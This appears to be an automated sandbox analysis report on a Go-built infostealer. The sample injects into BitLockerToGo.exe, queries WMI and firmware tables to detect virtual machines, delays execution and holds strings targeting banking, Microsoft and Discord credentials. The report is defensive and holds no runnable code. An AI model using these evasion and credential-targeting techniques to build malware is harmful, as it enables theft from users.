Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004D53EA	3_2_004D53EA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004E0BE0	3_2_004E0BE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0050DBA0	3_2_0050DBA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00504CE0	3_2_00504CE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004F04A0	3_2_004F04A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004D6D70	3_2_004D6D70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004CE630	3_2_004CE630
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004D1786	3_2_004D1786
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0050CF80	3_2_0050CF80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004C1040	3_2_004C1040
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004CD840	3_2_004CD840
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DD05D	3_2_004DD05D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004D687A	3_2_004D687A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0050D800	3_2_0050D800
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004FF820	3_2_004FF820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004F18D8	3_2_004F18D8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_005058E0	3_2_005058E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_005068E5	3_2_005068E5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004E308F	3_2_004E308F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DB88E	3_2_004DB88E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004D6088	3_2_004D6088
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004CB950	3_2_004CB950
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004E4950	3_2_004E4950
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004EA120	3_2_004EA120
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004E41E0	3_2_004E41E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004ED980	3_2_004ED980
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_005071B4	3_2_005071B4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0050A1AD	3_2_0050A1AD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00504240	3_2_00504240
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0050326A	3_2_0050326A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004C8A20	3_2_004C8A20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004FD220	3_2_004FD220
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004C2AD0	3_2_004C2AD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00509290	3_2_00509290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004E3A8D	3_2_004E3A8D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004E9A80	3_2_004E9A80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004D2A9E	3_2_004D2A9E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004CA290	3_2_004CA290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004CFA90	3_2_004CFA90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004F82AB	3_2_004F82AB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DF347	3_2_004DF347
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004FBB42	3_2_004FBB42
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0050C340	3_2_0050C340
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004E4B50	3_2_004E4B50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DCB64	3_2_004DCB64
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DBB66	3_2_004DBB66
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004FFB70	3_2_004FFB70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004EFB00	3_2_004EFB00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004CD310	3_2_004CD310
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004F0B20	3_2_004F0B20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004D43C4	3_2_004D43C4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004F73E6	3_2_004F73E6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004E2BA0	3_2_004E2BA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00506450	3_2_00506450
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00502453	3_2_00502453
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004EDC40	3_2_004EDC40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0050C440	3_2_0050C440
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00505C60	3_2_00505C60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004CCC10	3_2_004CCC10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004D3420	3_2_004D3420
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004F0C37	3_2_004F0C37
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004EECC0	3_2_004EECC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00502CC8	3_2_00502CC8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004C34D0	3_2_004C34D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004E7C92	3_2_004E7C92
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0050D4A0	3_2_0050D4A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004F74BB	3_2_004F74BB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004C94B0	3_2_004C94B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0050C550	3_2_0050C550
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004E4540	3_2_004E4540
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004CC550	3_2_004CC550
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004E3A8D	3_2_004E3A8D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004CBD00	3_2_004CBD00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004FED14	3_2_004FED14
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004C7D10	3_2_004C7D10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004FAD24	3_2_004FAD24
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004F3D20	3_2_004F3D20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004FF520	3_2_004FF520
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004D2536	3_2_004D2536
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004F65C2	3_2_004F65C2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004EDDDD	3_2_004EDDDD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0050C5F0	3_2_0050C5F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004FE5E4	3_2_004FE5E4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DF595	3_2_004DF595
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004F35B1	3_2_004F35B1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00508E40	3_2_00508E40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004C3E70	3_2_004C3E70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DBDE2	3_2_004DBDE2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004D3634	3_2_004D3634
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DDEE0	3_2_004DDEE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0050C680	3_2_0050C680
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004E66B0	3_2_004E66B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004C6F46	3_2_004C6F46
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004C4752	3_2_004C4752
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DC76A	3_2_004DC76A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004CEF3E	3_2_004CEF3E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004C8F30	3_2_004C8F30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004EF730	3_2_004EF730
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00503FE0	3_2_00503FE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004F1FF0	3_2_004F1FF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004F27A2	3_2_004F27A2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004EC7B2	3_2_004EC7B2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 004CB280 appears 49 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 004DA2D0 appears 87 times

Source: External2.4.exe1.exe, 00000000.00000002.1935257580.0000000009D80000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs External2.4.exe1.exe

Source: External2.4.exe1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: 00000000.00000002.1935302584.0000000009E5A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000000.00000002.1935408641.0000000009FC2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@2/2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00504CE0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_00504CE0

Source: External2.4.exe1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\External2.4.exe1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BitLockerToGo.exe, 00000003.00000003.2089470964.0000000004CD5000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2125079328.0000000004CE6000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2089964026.0000000002A31000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: External2.4.exe1.exe	Virustotal: Detection: 52%
Source: External2.4.exe1.exe	ReversingLabs: Detection: 44%

Source: External2.4.exe1.exe	String found in binary or memory: net/addrselect.go
Source: External2.4.exe1.exe	String found in binary or memory: github.com/saferwall/pe@v1.5.6/loadconfig.go

Source: unknown	Process created: C:\Users\user\Desktop\External2.4.exe1.exe "C:\Users\user\Desktop\External2.4.exe1.exe"
Source: C:\Users\user\Desktop\External2.4.exe1.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Desktop\External2.4.exe1.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\External2.4.exe1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\External2.4.exe1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\External2.4.exe1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\External2.4.exe1.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\External2.4.exe1.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: External2.4.exe1.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: External2.4.exe1.exe

Static file information: File size 6304256 > 1048576

Source: External2.4.exe1.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2d6c00
Source: External2.4.exe1.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x2cbc00

Source: External2.4.exe1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: External2.4.exe1.exe

Static PE information: section name: .symtab

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004FB271 push ebp; ret		3_2_004FB272
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004D1DF4 push ecx; ret		3_2_004D1DF5

Source: C:\Users\user\Desktop\External2.4.exe1.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\External2.4.exe1.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Window / User API: threadDelayed 2486

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 4600	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 2656	Thread sleep count: 2486 > 30			Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Last function: Thread delayed
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Last function: Thread delayed

Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696508427
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696508427p
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696508427
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696508427s
Source: BitLockerToGo.exe, 00000003.00000002.2783262785.000000000296D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696508427f
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696508427
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696508427x
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696508427
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696508427}
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696508427u
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696508427d
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696508427t
Source: BitLockerToGo.exe, 00000003.00000003.2192292795.00000000029B0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2724821311.00000000029A5000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2309486503.00000000029B0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1965891329.00000000029B4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2251636706.00000000029B0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2192480275.00000000029B0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2783325933.00000000029A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696508427\|UE
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696508427
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696508427p
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696508427n
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696508427x
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696508427~
Source: External2.4.exe1.exe, 00000000.00000002.1933533824.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427^
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696508427}
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696508427h
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696508427o
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696508427z
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696508427
